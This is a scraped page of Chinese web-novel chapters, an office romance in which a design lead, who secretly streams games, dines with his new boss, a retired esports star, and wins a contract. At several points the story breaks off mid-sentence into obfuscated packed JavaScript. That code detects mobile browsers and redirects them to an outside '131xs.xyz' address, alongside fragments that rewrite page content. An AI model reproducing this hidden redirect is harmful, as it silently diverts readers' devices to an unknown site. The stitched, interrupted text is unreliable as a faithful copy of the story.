l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16333025|183336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 决定,我也没办法。” 他眸光一转,敛了吓人的笑,对杨梦越说。 “告诉季总,我去。” …… 耍帅一时爽,应酬火葬场。 下午五点二十九,郁思白准时关机,木着一张脸,行尸走肉一样站起来。 刚起身,整个一组办公室的目光就齐刷刷吸了上来,仍旧向日葵似的,整齐划一。 高矮不一的向日葵依次开口了。 “组长,加油。” “郁哥我这儿有职场话术100句,你抱个佛脚吗?” “咱们一组的兴衰全系于你身了组长!” “回来给咱带个大项目!” “项目不项目的不重要,组长,别指着新老板鼻子骂就行,啊……” 公司里向来没有秘密,一天下来,郁思白被新老板点名应酬的事儿就传遍了。 外面有好奇的、有看戏的,一组组内却是担忧居多。 郁思白感受到向日葵们目光的分量,抿唇垂眸,一副世外高人的样子,淡淡道:“放心。” 衣袖之下,他攥了攥拳。 虽然他酒量很差,但今天他就豁出去了,必须把这项目给一组喝下来! 希望人没事。 高向日跟在他后面,像送女儿上幼儿园一样,把他送进电梯间,絮絮叨叨着,塞给他一盒头孢。 “要是躲不过酒,你就拿出这个!” 郁思白低头接过药盒,眼前一亮,目光坚定得像要上战场。 “万不得已的时候,我会用的。” 顿了顿,他忽然发现“眼前一亮”不是幻觉。 妈妈,我好像看到天堂圣光……? 郁思白抬头,看见面前电梯门缓缓打开,灯光从里面漏出来。 眼前渐渐明亮,也渐渐露出那张让人他昨晚刚评价过“不如警犬”的、含笑的脸。 郁思白脑袋嗡的一下。 妈妈,天堂炸了。 高向日还在絮絮:“要是他们还要你喝,你就当着面吃一颗,就说晚上忘吃药了……”忽然,他福至心灵地往电梯里看了一眼,下一秒嘴角抽搐,后退了半步,干笑。 “哈哈,季总,真是,巧啊……” 季闻则勾唇,轻飘飘一笑道:“嗯,好巧。不上来么?”他明明在问,却主动伸手拦了一下即将闭合的电梯门。 言下之意就是,不上也得上。 郁思白手里的药盒被捏变了形,提起一口气,迈步进去,还不忘扯上高向日。 好心虚。 电梯门缓缓关闭,外面其他等电梯的人,没一个愿意跟进来。 狭窄空间里顿时只剩下电梯运行的机械声,只有季闻则一脸放松,目光先略过郁思白,最后落在高向日身上,缓缓打量。 活泼开朗——就是显得傻了点,长得也有些着急。 设计部门、学历不错、业绩很好——一组全是这样的人,都符合。 酒量…… 季闻则看了眼出自他手的药盒,问:“高设不能喝酒?” 高向日听他好像没什么兴师问罪的意思,提起的心放下来:“我能喝啊!我就是去年体检查出来尿酸高,老婆不让喝了……” “所以给你头孢让你挡酒?”季闻则哂笑。 高向日摸摸后脑勺:“哦,不是。是我太爱喝了,老婆让我喝多了自己吃药,别回去了。” 季闻则挑眉,表情古怪。 看来不是。 不过他本也没有掘地三尺要把“Respit2”从公司挖出来的意思,只是碰上了就随口一问,不是就算了。 眼见老板没有再继续话题的意思,高向日略一琢磨,觉得老板似乎没什么架子,于是挂着笑,乐颠颠接着开口。 “季总,那个,但我组长是真喝不了酒,我这也是没办法才塞他药的,组长酒量特别不好……” 他试图救下自家组长。 季闻则低头整理衬衫袖口,随口问:“能喝多少。” 高向日也说不好,用手肘拐了拐沉默是金的组长。 郁思白抿唇,侧头小声道:“……一瓶盖吧。” ……? 熟悉的小众形容让季闻则手上动作一顿,缓缓抬头,扫过郁组长这张冷淡的脸、麻木的眼神、下撇的唇角…… Respit2……郁思白? 半晌,他眯了眯眼,似笑非笑地问:“真的假的?” 7. 第 7 章(二更) 郁思白觉得老板的眼神好像有点怪,不着痕迹地皱了皱眉,惜字如金地答:“真的。” 封闭环境里,忽地响起一道忍笑的、悠悠的叹息,叹得郁思白背后一阵发麻。 ……我跟这季闻则简直八字犯冲! 老板撩起眼皮扫了他一眼,笑得莫名。 “挺好。” 好在哪?你别给我一杯灌下去卖了。 郁思白警觉地离他远了半步,保持着这个足够秦王绕柱的距离。 电梯在负二楼地库停靠,高向日笑着向二人告别,然后一溜烟窜了个没影。 早等候在电梯旁的杨总助上前,却垂下头道:“抱歉季总,司机来的路上不小心剐蹭了一下。我刚刚给您临时叫了车,但到地点可能会晚十五到二十分钟……” “人没事吧。”季闻则问。 杨助说:“没事,是对方加塞,车前灯轻微损坏。” 郁思白想起自己肩上重任,迟疑两秒,难得主动开口。 “赶时间的话,坐我的车?” 话音未落,两道目光先后落在他身上,看得郁思白眉眼一皱。 杨助对他歉意一笑,解释:“郁组长,季总一般不坐其他人的车……” 几乎同时,季闻则唇角微勾道。 “可以。” 郁思白缓缓歪头,看向老板:“……可以?” 眼前的青年形象,忽然就和昨晚那个大喊“老公Execut2”、“我不改嫁”的小主播重合了。 季闻则抬手抵唇,轻咳一声:“嗯,可以。郁组长车开得稳。” 就是嘴上车速有点快。 他侧过头笑了声。 等郁思白走远,杨孟越忍不住问:“季总,您……没关系吗?要不我跟郁组长沟通,让您自己开车……” 季闻则不随便坐别人的车——这事儿只有他们几个一直跟着季闻则的秘书知道,但也只是工作需要才被告知,没人知道个中原因。上一个胡乱猜测的人,已经被总部的季颖季董事长直接越级开除了。 因此,杨总助询问的语气带了些小心翼翼。 “不用。”季闻则简短道。他仍旧笑着,仿佛这不是什么大事。 杨孟越点头,把满腹好奇塞了回去。 郁思白的车很快开过来,灰蓝色落在季闻则视线里,格外扎眼。 ……怪不得是灰蓝色,对上了。 心里失笑,季闻则上前一步拉开车门,里面传来音乐声,下一秒就被郁思白切掉,换了一首安安静静的纯音乐。 可哪怕只有半秒钟,季闻则也叫得上这歌的名字。 他的最后一个冠军,S3冠军赛主题曲,副歌伴奏部分被装载在S3冠军ak皮肤的终结特效里。 如果人物走到特效中心仰头,会看到周遭的场景被幻境代替,角色仿佛站在比赛台上,四周是看台和大屏,耳边是相隔很远的欢呼声,空中点点星光三区,伴奏渐弱,如日西沉。 灰蓝色的车缓缓驶出车库,初春的夕阳隔着玻璃洒进车里,有些刺眼,郁思白放下了前方的挡板。 季闻则下意识看了眼他的动作,下一秒,目光却被被挂在车内后视镜的小兔子吸引了。 那是个看着像粗陶底的扁平片,随着惯性缓缓转动,露出正反面姿态各异的两只帅气长腿兔子。 有点眼熟。 想起刚刚一闪而过的那首歌,季闻则忽地了然。 这不是快十年前,那个小主播给Execut2画的动物拟么。 说来有趣,直到退役Execut2都没想通,自己怎么就被画成了只兔子,还是北极兔。 就因为他名字里有个two? 等红灯的郁思白发现,老板已经盯着自己的卡神挂饰好一会儿。这张跟Execut2有三分相似的脸,和萌萌的卡兔放到一起,难免让他恍惚了一瞬。 很久以前“把卡兔亲手送给卡神”的梦想,七年后倒是以这种代餐的方式体验到了。 郁思白抿了抿唇,反复告诉自己“我今天是来争取项目的”,忍住拿手机狂拍的冲动,冷静了一下才主动问。 “怎么了,季总。” 季闻则轻笑,收回视线,扶了一下安全带。 “车里挂东西不安全。” 郁思白立刻联想到刚刚杨梦越说的那句,“季总不坐别人的车”,脑海里闪过猜测。 该不会这位有钱人家的大少爷季总,以前出过车祸? 这倒是安全无小事了。 看了眼红灯时间还长,郁思白挂到p档,抬手卸了卡兔挂件,打开中控台的小盒子,扒拉两下里面塞满的咖啡糖,小心翼翼把宝贝卡兔放了进去。 犹豫了一下,他忽然想起老板,捏了颗糖递过去:“要么?” 说完他才反应过来,跟老板这么直来直去的好像不大有礼貌——实在是他对前老板没礼貌惯了。 季闻则却好像没发现,仍旧笑着,反手推了。 好像人还不错……项目有望! 郁思白扣上小盒子,莫名有点紧张,摸了下确认安全带系好,才重新挂挡起步。 - 吃饭的地方金碧辉煌,郁思白加一晚上班才能在这儿买两碟小甜品,一碟生蛀牙,一碟塞牙缝。 服务生推开包厢门,里面坐了一个灰西装的中年老板,立刻热情起身迎上来。 季闻则脱了大衣递给服务生,郁思白学样有样,跟着服务生把自己的外套也挂好。 他没好意思让跟他年纪差不多的服务生挂,觉得不自在,怕折寿。 “段总,这就是您问我的、天臻园项目的郁工。” 季闻则侧身介绍,一回头,自己带来的跟班就这么原地蒸发了。 段总:“……噗。” 季闻则挑眉:“郁工?” 无人应答。 季闻则提起一口气:“……郁组长?” 一张没有表情的漂亮脸蛋从封闭的衣帽间闻声探头,神情认真。 季闻则:…… “出来。” 穿着薄毛衣的精致冰块,噼里啪啦地出来了,后面服务生在追:“先生等一下,给您喷点防静电喷雾……” 像季闻则那只送去宠物店洗澡,刚丢进池子就往出蹦的布偶猫孽子。 先前赵秘书说他从不跟着钱远新出去应酬,季闻则本来没信,现在不得不信了。 郁思白站定,噼里啪啦。 “段总好,我是郁思白。”他带着“我电死你”的架势,刚要抬手,胳膊被季闻则不着痕迹地按住。 这人看着温文尔雅,力气倒是不小。 三人依次上座,在两位老板的攀谈声里,郁思白终于不响了。 “这么清净,不像您的风格啊。”季闻则笑。 段总道:“哈哈,跟季总吃饭,我哪儿敢叫那么多乱七八糟的人。” 郁思白抿了口茶,看了季闻则一眼。 喜欢安静?……不像。 果然下一秒,季闻则指尖敲了下酒盅:“两个人喝可没意思。” 眉头一扬,段总当即大笑:“要不说季总处着舒服呢?懂我!喝酒就是得热热闹闹的!下次,下次我再组一桌……” 郁思白收回视线。 他难得有机会这样端详季闻则,只是越跟新老板这张笑眯眯的脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16333026|183336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相处,郁思白越找不回先前惊鸿一瞥时,那一瞬间和偶像的相似。 他无声叹了口气。 奇了怪,小说里那些霸总都是怎么找到白月光替身的? 圆桌对三个人来说太大,每个人之间都隔了楚河汉界,季闻则噙着笑容,遥遥举起酒盅。 自始至终,郁思白都没找到机会插嘴。 他能在直播间舌灿莲花不假,但跟老板们……他果然还是跟不上这种一句话三个心眼儿的节奏。 他决定先以不变应万变,于是垂眸,安安静静往盘子里夹了筷子凉菜。 刚升组长的时候,郁思白见过一次钱远新喝酒。总归是那个套路,碰杯、大笑,觥筹交错间谈两句正事。 酒盅相碰,季闻则架势比他们文雅,但上来就干了一盅二两,脸不红气不喘,意外的干脆。 可他笑眯眯的,看起来明明更像那种一杯酒拖着喝三巡的人。 人不可貌相啊…… 耳边传来段总的喝彩声,郁思白嚼着菜出神。 就像他偶像卡神,一张秒了全世界的冷脸,看着就像能豪饮十万杯的人,却滴酒不沾,直到退役都坐小孩那桌…… 郁思白心里轻笑,笑容还没来得及浮现到脸上,忽然,面前被转来一盅酒。 他愣了一下,抬头。 段总带着中年生意人惯有的江湖气,抬手:“久仰大名啊郁工。尝尝我的珍藏?” 来了。 郁思白不动声色地吸了口气。 高向日给的头孢自然是留在了车里,都被发现了还要带着,那跟当着皇帝的面讨论谋权篡位有什么区别。 眼下只能硬着头皮上了。 郁思白抿唇,看着那只透明小壶,正琢磨着大约哪里是一瓶盖的量。刚要抬手,面前餐桌忽然转动。 那盅酒到了季闻则面前,被他施施然拎起,添进自己的杯子里。 “郁工没这个口福了,我还指望他一会儿送我回去呢。” “诶,叫个代驾的事儿。”段总伸手要拦。 季闻则含笑摆手,语气叫人生不出半点火来:“抱歉啊,开车这事儿我确实不放心别人。” 郁思白手悬在半空,默默收回来,探究的目光在季闻则身上转了一圈,但对方顶着这张笑眯眯面具,他自然是什么也没探出来。 不说话,不喝酒,叫我来难道就是为了当司机……? 段总问:“你助理呢?” “最近刚回国,事儿多。我跑出来见你,别的地方总得有人代我露面不是?” “哟,那还是我耽误事儿了!”段总嘴上这样说,心里却很是熨帖。 “民以食为天,更何况是段总您请的饭,那些工作才是耽误事儿……来,走一个。” 段总和他碰杯:“诶季总,你之前不是说想往工装试试?最近有个项目你看有没有兴趣。” “什么?” “无畏什么……约定。”段总想了一会儿,“哦,无畏契约,十周年嘉年华展馆和舞台设计。你们年轻人了解吗?我儿子好像在玩,天天什么go学长、瓦学妹的……恋爱游戏吗?” 郁思白猛地呛了一下,刚夹起来的排骨啪嗒滑落,撞得盘子叮当一声,因此也没听到旁边季闻则的闷咳。 “不了解,大概是什么不入流的游戏。”季闻则喝了口水压下,看向郁思白,“郁组长,你知道吗?” 正试图重新夹起排骨的人筷子一顿:“这个……” 季闻则目光垂落几寸,忽然无声轻笑。 郁组长顶着一张淡然的脸,却似乎不太会撒谎,桌子下面的手,都要把桌布攥烂了。 果然是他。 8. 第 8 章 郁思白攥着桌布,却根本不是在想怎么撒谎,只顾着心里噼里啪啦炸开烟花。 十周年嘉年华场馆设计!!! 不怪他这么兴奋。哪怕是工作之外,他也一直很关注这个活动,没想到能在官方出消息之前,先在应酬的饭局上听见消息。 这样的意外之喜,他怎么可能不兴奋! 无畏契约——他解说了八年的游戏。 他偶像Execut2,就是无畏契约职业赛场的初代大魔王。欧洲赛区出道,三年四冠,游戏还没在国内火起来的时候,Execut2就已经是最耀眼的那颗明星。 职业联赛第四年,国内拿下游戏版号,cn赛区正式成立,Execut2高调回国。 就在所有人都以为,他要在cn赛区延续王朝的时候——Execut2毫无征兆地宣布了退役。 再然后,就是长达七年的人间蒸发。 这次十周年嘉年华在国内办,是去年就发了宣传的事儿,重点是,据说嘉年华会邀请往年已经退役的职业选手。 退役的、国内的职业选手——除了去年刚退役的两个冠军,怎么想都不可能绕过Execut2这座大山不请吧! Execut2、男神、偶像、卡神……老公!! 如果只是当观众,或许只能见他一面。 如果是当嘉宾,大概能多要一张签名。 但,如果是场馆设计师的话……他可以借职务之便!从彩排到正式活动!从头跟到尾!全程!每分每秒!! 一瞬间,郁思白脑海里就只有一个想法。 ——什么誉衡别苑,不熟。 我要这个! 哑火大半场的郁组长提起一口气,缓缓坐直,下意识想扬起笑容,又怕自己的面瘫脸冷到两位老板,于是表情很是收敛,克制道。 “这个游戏……我知道一些。” 季闻则意外挑眉。 这就自己抖出来了? 郁思白侧头对上老板的视线,脑海里忽然闪过在茶水间初见时,季闻则看到他手机画面,挑眉的那下。心念一动,蹦出一个离谱的猜测。 ……不会真的是吧。 但只是一瞬间,这个猜测就被他自己打消。 虽然老板帮他挡酒,人是很好……但比起Execut2还是差的十万八千里呢。 而且他实在没法相信,Execut2会说出“大概是什么不入流的游戏”的话。 对Execut2来说,这和负心汉有什么区别! 定了定心神,郁思白放下手里的筷子,打起一百二十分的精神,再开口更多了几分认真。 “我认为这是个很好的项目。” “十年弹指一挥间,对很多人来说,它不止是个游戏,而是他们的青春。” “或许刚玩这个游戏的时候,他们还是青葱大学生,现在孩子都抱上第二个了;或许有情侣是通过这款游戏认识,分手、或者步入婚姻殿堂;或许……” 几句话开场白的功夫,郁思白脑海里已经勾勒出很多方案,他一一描述出来,向来神情寡淡的眉眼,此刻也鲜活起来。 “……如果我们在设计里能细腻地表现出这种共鸣,那对观众和选手来说,肯定都是一次印象深刻的旅程。”他说。 “我们可以为所有人构建一个可以卸下包袱、安放青春的嘉年华场馆。” 话音落后,在一片安静里,郁思白才察觉到,原本几乎只有自己一个人在动的菜,已然又下去一截。 他说话的功夫,两位老板倒是吃香喝辣。 季闻则没有说话,搁下筷子端茶,啜了一口。 段总倒是笑了两声道:“郁工啊,你们搞设计的,人文关怀这儿确实到位。”也不再有别的话。 郁思白原本飘在半空的心咯噔一下,陡然下沉。 他不是听不懂言外之意的人,否则也当不了这么多年没出事的大主播。 他能清楚地辨别出来,段总的语气里,多少带了点敷衍。 郁思白下意识捏了下茶杯,嘴唇蠕动,犹豫了一下,还是开口。 “是的,设计需要温度和同理心。” 他觉得自己没必要扮演打圆场的角色,毕竟旁边还有个长袖善舞的笑眯眯老板。 还是那句话,大不了n+1。 闻言,段总呵呵笑过后,没再询问他的意见,后靠到椅背里,挑眉看向季闻则:“季总觉得呢?” 季闻则终于搁下茶杯,发出清脆的一声“咔哒”。 “抱歉了段总,这项目我实在不看好,劳您挂念。” 他修长的手指搭在转桌上,扫过面前的一道道精致菜品,意兴阑珊地随口点评。 “游戏本就是小众项目,会关注设计的更少……赚不到多少,名气也打不出去,不值当做。” ……小众项目。 不值当做。 郁思白侧头,按捺住情绪,没表露出过多表情,但眉头还是不可控地皱起来。 脑海里冒出两个打擂台的小人。 一个愤愤说:这张脸怎么能说出这么冰冷的话! 另一个生无可恋道:压根不是一个人啊,你到底在期待什么。 期待你的新老板,不是个路灯资本家,而是看中人文看中创作的艺术家吗? 别做梦了。 心头刚燃起的火苗,悄无声息地黯淡下来。 段总却颔首大笑:“哈哈,英雄所见略同啊季总!实话说,我也不看好这项目,否则也不会这会儿当个添头说给你。” 说罢,他又提了一杯酒。 添头。 郁思白一扯嘴角,呼出一口气来。他彻底明白了,在心里翻了个白眼,抬眸。 他看了眼喝得红光满面的段总——呵,没品的东西。 又扫过款款坐着的季总——没品的东西乘以二! 包厢门被扣响,服务员上了最后一道菜,清甜的桂花凉糕让郁思白把这点不快抛到脑后。 算了呗,这b班还是得上,起码季没品这人不像钱老抽,什么好项目都紧着钱翀,偏偏钱大侄儿还抓不住机会。 而且说什么“设计需要温度”……害,这话骗骗客户算了,上班之后做出来的东西有多少是流水线工程,他自己清楚。 赚钱,不寒碜。 郁思白又夹了一筷子桂花凉糕,把情绪揉进糯米里,嚼吧嚼吧咽了。 支线任务宣告失败,现在他要开始琢磨,怎么争取一下誉衡庭院了。 好马不吃回头草,但牛马可以。 但爱与不爱真的很明显,对誉衡别苑项目只有金钱欲/望的郁组长,一琢磨就是好半晌。 直到桌上的菜被动了半盘,酒却已经见底的时候,酝酿许久的郁思白正准备开口,总助杨孟越带着一沓合同,敲响了包厢的门。 段总发出标准的“哈哈哈”三声富人笑,唰唰两笔,当场签了。 一切太快,让刚读条完毕的郁思白根本来不及反应。 就……签了? 我还什么都没说呢。 对面,段总看向他,举了举茶杯。 “郁工,不愧是我看好的设计师啊,哈哈!” 郁思白:? 段总的视线里,对面的青年笔挺地坐着,处变不惊,仿佛世界里只有设计的好坏,颇有种匠人的专注,让他觉得新奇又佩服。 还有刚刚那段话……虽然说得让自己听不太懂,但对设计有这样一片赤忱之心,想必是不会糊弄项目的。 “郁工,合作愉快了。”段总呵呵笑道。 青年仍旧那副不以物喜的模样,但抬手向他举杯,以茶代酒,喝了个见底,干脆利落。 “好!好!” 郁思白顶着段总莫名欣赏起来的目光,咔哒放下茶杯,又给自己满上。 吃咸了,再喝一杯。 段总已经看向杨孟越。他们显然是见过的,言语间更熟稔些。 “小杨啊,你来的不巧,最后一盅酒刚被你们季总喝完,你没口福咯。” 杨孟越已经妥善收好合同,大大方方笑道:“段总抬爱了,您二位喝酒,那表示庭季和衡蕴是天长地久的合作伙伴。我啊,还是站在旁边给二位满上,负责叫好吧!” 一段话不假思索就说了出来,仿佛吃饭喝水一样简单,郁思白不由咋舌。 段总大笑:“坐,小杨,吃点菜。” 见两位老板还有的聊,杨孟越没有推辞,拉开郁思白旁边的椅子坐下。 郁思白见两个没品老板不注意,先把只剩下一块的桂花凉糕转到杨孟越面前。 杨孟越愣了一下,扭头看向和白天一样没什么表情的冷脸帅哥郁组长。 “这个好吃。”他抿唇轻声说,目光却又依依不舍地看着凉糕。 好像扮演着无情理智社畜的机器 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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离开了包间里明亮到有些生硬的灯光,在路灯下,季没品这张脸仿佛也柔和了些。 下一秒,这张柔和的脸就挂起狐狸似的笑,微微垂眸看他。 “郁组长,觉得我需要严肃点吗?” 问题没头没尾,郁思白看了同样摸不着头脑的杨孟越一眼,比照着这位前辈刚刚的高情商回答,思忖道。 “季总……平易近人,同事们都很喜欢的。”心里却又补了句:你笑着已经够吓人了。 季闻则脸上笑意更甚,端详他的目光,像郁思白端详门口蛋糕店出的新品一样,半晌,噙着笑轻轻喟叹。 “其实你不用这样的。” 郁思白一眨眼:“……什么?” “不用学杨助说话,也实在不用对段总那么热情。”季闻则说。 郁思白抿唇:“钱远新为了让钱翀拿下这个项目,做了不少努力……我也要对我的组员负责。” “他这不是糊弄人么。”季闻则轻笑,“业内多半都知道庭季有自己的意向设计师了,不然这么大的项目,投标的怎么可能都是些不入流的小企业?” 偏头看见郁思白略微睁大的一双眼睛,季闻则右手成拳一敲掌心,恍然莞尔。 “我好像忘了跟你说,誉衡别苑的项目是我来沪之前就谈好的。只是段总很喜欢你之前的作品,一定拜托我把你叫上吃饭,仅此而已。” ……你。 郁思白哽住,一瞬间回忆起茶水间初见时,那种被耍了的感觉。 很好玩吗??我不会再上你的当了! 他深吸一口气,扭头收回视线。 等了片刻,季闻则微微抬眉,有点意外。 他原想让轻易掉马的小主播早点回——回去早点开播,这样等自己到家准备睡觉的时候,就有得听了。 本以为被逗了一番的郁组长会转身就走,恃才傲物这种脾气,没谁比季闻则更清楚了。 但青年只是偏过头,像是翻了个白眼,然后顶着那张隐约看得出生气的冷脸,安安静静站在他旁边。 心里突然痒了下,季闻则收了已到嘴边的告辞的话,偏头微微低眉看他,嘴角慢慢挑起。 “郁组长,是还想要嘉年华场馆项目么?” 9. 第 9 章(二更) 他的声音被夜风裹挟着,浸透着酒意,平添了几分引诱的意味。 …… 郁思白觉得自己大概是上班上疯了才有这种幻觉,他在心里猛地甩了甩头,踌躇片刻,还是开口。 “对。” 一个字儿却仿佛说到季闻则心坎儿里,勾了勾唇,收回视线看向远处。 “可以啊。”他轻飘飘道,“你当总监,接什么项目,不就是你说的算了?” 峰回路转,柳暗花明。一句话嗵地砸在郁思白脚上,砸得他坐立不安起来。 不是,你还真的在引诱啊? 向来跟老板相处只有威逼的郁组长哪里见过这种阵仗,嘴角一抽,脑海里正琢磨着怎么回复,就听见一声轻笑。 “不是吧,真犹豫了?”季闻则悠悠叹了口气。 “郁组长啊……晚了。新总监明天就到。” …… 郁思白扑腾的小心脏突然啪叽一下死掉。 行了,看来这场馆项目,自己是不用再想了。 这季没品,还说钱远新糊弄人,郁思白看他也不是什么好鸟,玩人简直就是随口的事儿。 半晌,他缓缓掀起眼皮,半张脸隐没在阴影里,觉得自己像个索命的厉鬼。 “谁。”他问。 “卢近仁。钱远新推荐的,认识么?” 郁思白想了一下:“很久之前见过两次,客户选了我们。” 季闻则一哂:“那看来是不如郁工啊……” 郁思白没接这话,只问:“定下是他了?” “还没有——当然,我还是更中意郁组长。” 顿了一下,郁思白抬头,却只看见季闻则一张含笑的侧脸。 他看不穿这张面具下的人,到底在想什么。 这已经是季闻则第三次向他抛出橄榄枝——在前两次,他已经拒绝的足够明确、且不留情面的情况下。 季闻则只是懒洋洋地理着衬衫袖口,像某种大型猫科梳理毛发一样,不急不缓道:“不用着急回复我。” “然后三小时之后又问我一次?”郁思白抿唇。 “怎么会……”季闻则失笑,微侧过头,视线略过青年没有表情的脸,最后停下、捉住那双紧盯着自己的眼睛。 明亮、鲜活、执着。像他说的那句话,和他本人,似乎也是这个世界里“有温度”的那个。 顿了一下,季闻则忽然好奇:“你自己开了车,在这儿跟我吹风,就是为了问你的场馆项目?” 青年明显被他突兀转变的话题打懵,眨了下眼睛,眉头微皱,还是那句话。 “……一个人喝多了不安全。” 季闻则冷不丁想起薛简告诉他,对方以前被醉着扔在酒店门口,唇边笑容顿了顿,忽然觉得意兴阑珊。 已经到嘴边的逗弄拐了个弯,季闻则收回视线,没再接着往下说总监的事儿,轻抿嘴唇,直白道。 “公司未来一年的发展计划里,没有场馆项目相关的意向。让你失望了,郁组长。” 好半晌没人搭话,季闻则带着疑惑扭头。 郁思白仿佛设下陷阱,就等着他看过来一样,下巴微抬,忽然不甘示弱地轻嗤一声。 “是么,我也只是随口说着玩。”他勾唇,施施然地展露出绵里藏针的锐气来。 “劳季总挂心了。” 季闻则微怔。 他发现郁组长虽然没什么表情,话也不多,但一双眼睛实在生动得很。 “这个项目谢谢老板。没什么事儿的话,我先走了。”郁思白最后瞥来一眼,目光淡淡,仿佛已经毫不在意他这个被灌半斤的人的死活。 抬手挥了挥让他自便,目光追着人的背影过了拐角,季闻则才失笑。 先前一直没开口的杨孟越也收回视线,不由得问:“季总,您为什么直接把誉衡别苑的项目给了一组?” 她回忆了一下,再次确定,原本季总的计划明明是拿誉衡别苑做饵,又或者说,是作为交换,换郁组长心甘情愿被推到总监的火坑上去。 怎么没过几个小时,老板突然改了主意?叫她拿了合同立刻来。 “恐怕他实在没这个心思。” 明明被落了面子,季闻则却还是心情颇好的样子,悠悠笑着:“随他去吧,麻烦不了多少。” 杨孟越表情闪了闪:“您调来庭季之后,脾气似乎好了不少。” 当年在总公司挖人时,那个表面先礼后兵实则土匪打劫的季组长,是被南方湿润的空气撸顺毛了? “他……不一样。”季闻则沉吟片刻,说出让杨孟越感到惊世骇俗的一句。 “……啊?”向来八面玲珑的杨总助,此刻竟然找不到任何一句高情商回复。 季闻则“啧”了声,也意识到自己语有歧义,不禁道:“你们一个两个的,脑子里都装了些什么玩意儿……你就当是找见了标记重捕的小动物吧。” 杨孟越只觉得他越描越黑,露出尴尬又不失礼貌的微笑。恰好车子在面前缓缓停下,季闻则难得没等她拉门,自己先一步上了车,颇有点落荒而逃的意味。 杨孟越表情愈发怪异。 上了车,季闻则也懒得再聊,直接道:“说正事。” 坐在前座副驾的杨孟越立刻正色:“钱总推荐来的那位新总监,卢近仁。不仅曾经两次和一组竞争同一个项目失败,还出过几次不大不小的事故……” 车窗外的光影明明暗暗落在季闻则脸上,车子在红灯前停下的时候,他正好落进一片阴影里。 仿佛是知道现在无人注视,他脸上的笑容明显倦怠,唇角不再用力扬着,半点力度都欠奉似的,显出一点厌烦的冷意。 但他开口,声音仍然带了笑,仿佛推出流水线的包装。 “咱们这位老钱总的眼光,真是一如既往的差。” 杨孟越听出他的意思,问:“那卢近仁那边……” 季闻则在后座闭上眼,随口道。 “过了试用期,找个由头开了吧。” - 郁思白还不知道,自己未来顶头上司已经悄无声息地失业了,他心里多少还惦记着嘉年华场馆的事儿,回家之后没有立刻开播。 他先是查了无畏契约和国内代理藤竞的官网,又问了和自己熟识的藤竞员工。可惜官网一片空白,朋友又是赛事组的,对嘉年华场馆相关,一概不知。 最后的努力,也还是宣告无功而返,郁思白终于彻底放弃这个可能,搓了搓脸,叹出一口气。 “算啦……看来是没这个缘分。”他自言自语地劝自己,“莫强求,莫强求啊。” “至少今天拿了誉衡别苑,季没品比起钱老抽,还是很有可取之处的。” 安抚好自己,眼看着直播时间将近,他匆匆赶鸭子上架地开了播。 嘴上说着放弃,心里多少还残留着一点惦记,郁思白知道现在状态不好,没敢排位,只打了一把匹配,却还是被揍得两眼发晕。 【我打不到人啊】的id,人如其名。 他心不在焉得太明显,退出对局的时候,弹幕全在问他,发生什么事了。 毕竟Respit2鼎鼎大名的,除了“Execut2梦男粉”的身份以外,就是“超级劳模”。 今天难得走神。 “你们今天好善良啊。”郁思白翻着弹幕,笑着解释,“没什么啦。就是有个挺喜欢的项目,上面没意向。” 【争取一下呗】 【强扭的瓜超甜!】 郁思白道:“要这个项目就得往上爬,往上爬就是出卖我的自由……要是主播以后升职了,挤不出这么多时间直播了怎么办?” 【你毕业的时候就是这么说的,上班以后不是照样劳模播?】 【不播就滚】 【男人,以为我非你不可吗】 【呵,你以为你很特殊?】 “真的吗?”郁思白刚开口,脑海里忽然冒出夜色下季闻则勾着唇、语气悠悠的样子,心念一动,立刻把那股抑扬顿挫的劲学了七分。 “既然你们这么说了,那我也就放心去追求的我项目梦咯……?” 弹幕一下炸了锅。 【?】 【什么动静】 【???魅魔你谁】 【 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16333028|183336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卧槽谁教我们家孩子这种东西了!】 也有当真被骗到的。 【说好了播一辈子呢/大哭】 【我错了我给你跪下了别离开我/崩溃】 郁思白一乐,破了功:“开玩笑,开玩笑啦。播一辈子,播到鸡吃完了米,狗啃完了面,火烧断了锁,播到我卡神揭棺而起……” 看着破防的弹幕,郁思白也悠悠笑成了老板的样子。 确实好玩。 质疑季闻则,理解季闻则,成为季闻则。 【不是,都没人质疑一下说升职就升职的主播?】 【冷知识:这么多年,res想做的事还没有失败过的】 【直播了一学期,说拿绩点第一就拿了】 【说要一年拿新锐主播奖就拿了】 【说毕业前当上瓦主播一哥就当了】 【甚至连ICG夺冠这种事都做的到】 【这家伙是概念神啊】 【除了招魂他老公这件事hhh】 “哪有那么玄乎。”郁思白哭笑不得,“一条烂命就是干呗。” 【主播别似我手机里/大哭】 